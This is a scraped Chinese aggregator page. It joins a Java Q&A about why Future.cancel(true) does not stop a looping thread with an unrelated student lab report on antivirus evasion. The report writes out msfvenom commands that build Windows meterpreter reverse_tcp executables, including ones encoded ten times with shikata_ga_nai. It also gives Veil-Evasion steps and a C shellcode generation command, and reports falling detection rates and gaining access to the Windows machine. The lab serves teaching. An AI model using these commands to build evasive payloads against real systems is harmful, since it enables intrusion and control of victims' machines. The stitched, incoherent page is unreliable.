java future.cancel方法是否直接杀死线程

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了java future.cancel方法是否直接杀死线程相关的知识,希望对你有一定的参考价值。

public class TestThread
public static void main(String[] args) throws InterruptedException, ExecutionException
ExecutorService ext=Executors.newFixedThreadPool(1);
Future<String> future3=ext.submit(new Callable<String>()
public String call()
int i=0;
while(i<10)
System.out.println("callable3 running......");
try
Thread.sleep(3000);
i++;
catch (InterruptedException e)
System.out.println("Interrupted task.");



return "callable3 running";

);
Thread.sleep(100);
System.out.println("callable3 cancel=" + future3.cancel(true));
System.out.println("callable3 over");
ext.shutdown();


返回结果是:
callable3 running......
callable3 cancel=true
callable3 over
Interrupted task.
callable3 running......
callable3 running......
callable3 running......
callable3 running......
callable3 running......
callable3 running......
callable3 running......
callable3 running......
callable3 running......
callable3 running......
执行了cancle()方法,为啥还是把while循环执行完毕了呢?如果将try/catch模块放在while的外层,确实是只执行一次,System.out.println("callable3 running......");。cancel方法不是直接杀死线程的吗?

参考技术A 布尔java.util.concurrent.Future.cancel(布尔mayInterruptIfRunning)

试图取消执行这项任务的。如果任务已完成,这样的尝试将会失败,已经被取消了,或者不能被取消,由于某些其他原因。如果成功的话,当取消被调用这个任务还没有开始,这个任务不应该跑。如果任务已经启动,则mayInterruptIfRunning参数决定是否执行该任务的线程应该在试图停止任务被中断。

此方法返回后,后续调用isDone将始终返回true。后续调用isCancelled将始终返回true,如果该方法返回true。

参数:
mayInterruptIfRunning真,如果执行此任务的线程应该被打断;否则,在正在运行的任务允许完成
返回:
假如果任务不能被取消,通常是因为它已经正常完成;否则返回true

20145309《网络对抗技术》免杀原理与实践

20145309《网络对抗技术》免杀原理与实践

1.基础问题回答

(1)杀软是如何检测出恶意代码的?

根据特征来检测:对已存在的流行代码特征的提取与比对
根据行为来检测:是否有更改注册表行为、是否有设置自启动、是否有修改权限等等

 

(2)免杀是做什么?

使用一些方法使得恶意程序不被杀软和防火墙发现,避免被查杀。

(3)免杀的基本方法有哪些?

   加壳:就是相当于把你的后门代码封装起来,但是现在大部分公开的壳都能被杀毒软件查出来,所以加这些壳还不如不加;
加花指令:就是加一段垃圾代码,但是并不影响程序的正常执行,加了花指令后,使一些杀毒软件无法正确识别木马程序,从而达到免杀的效果;
   再编译:如果有源代码可以使用其他语言重新编写再编译,或者利用已有的shellcode构造payload重新编译生成;
修改行为:尽量少做能被杀毒软件直接检测到的敏感行为,可以使用反弹式连接,或者减少对系统注册表之类的修改。

 

2.实践总结与体会

本次实验做得非常艰难,但是最后在反复纠缠室友的前提下还是完成了,通过实验我了解了杀毒软件查杀的原理,以及一般恶意代码是如何伪装的。发现即使安装了杀毒软件以及防火墙,还是不能完全的保证电脑是安全的。

3.离实战还缺些什么技术或步骤?

编程能力的问题,以我现在的水平,只能理解恶意代码的基本原理,还要借助一些恶意代码的生成和编译工具,并不能全手工做出一个恶意代码,所以很容易就会被杀毒软件检查到。

4.实践过程记录

msfvenom直接生成meterpreter可执行文件

  • Windows的IP地址为:192.168.1.105
  • Kali的IP地址为:193.168.1.106
  • 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 PORT=5309 -f exe > test.exe命令生成meterpreter可执行文件test.exe
  • 使用ncat将文件传输到windows主机

我们上http://www.virscan.org/这个网站检测一下有多少查毒软件可以将其查杀出来

  • 扫描结果:51%的杀软(20/39)报告发现病毒

Msfvenom使用编码器生成meterpreter可执行文件

编码一次:

  • 使用ncat将文件传输到windows主机

再次检测:

 

  • 描结果:46%的杀软(18/39)报告发现病毒
  • 编码十次

使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\\x00’ LHOST=192.168.1.106 PORT=5309-f 

 再次检测:

 

  • 扫描结果:46%的杀软(18/39)报告发现病毒
  • 编码十次

使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\\x00’ LHOST=192.168.1.106 PORT=5309 -f exe > test2.exe命令生成编码过的可执行文件test2.exe

 

  • 使用ncat将文件传输到windows主机

再次检测:

  • 在Kali中打开veil-evasion:直接在输入veil-evasion
  • 然后在menu里面输入以下命令来生成可执行文件:
  • use python/meterpreter/rev_tcp
  • set LHOST 192.168.1.106
  • generate
  • 5309test

检测结果如下:

  • 扫描结果:23%的杀软(9/39)报告发现病毒,效果显著提升。

使用C语言调用Shellcode

  • 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.95 LPORT=333 -f c命令生成一个C语言shellcode数组
  • 利用这个数组在Windows主机的vs平台下写shellcode,

程序一生成就被360杀毒查杀了

在Kali下使用msf监听,运行刚刚编译生成的可执行文件,成功获取权限。

360杀毒查杀不出来

 

检测结果如下:

  • 扫描结果:12%的杀软(5/39)报告发现病毒。基本达成。

 


 

 

 

 

以上是关于java future.cancel方法是否直接杀死线程的主要内容,如果未能解决你的问题,请参考以下文章

Future取消线程执行

Java:在某段代码上设置超时?

linux下如何批量杀JAVA进程或某个进程方法

Java秒杀实战 服务级高并发秒杀优化(RabbitMQ+接口优化)

Java:session中的invalidate()的作用是什么呢?求解

不知名大佬分享的Alibaba内部Java高级架构师380道面试题,直接3杀斩获阿里腾讯网易offer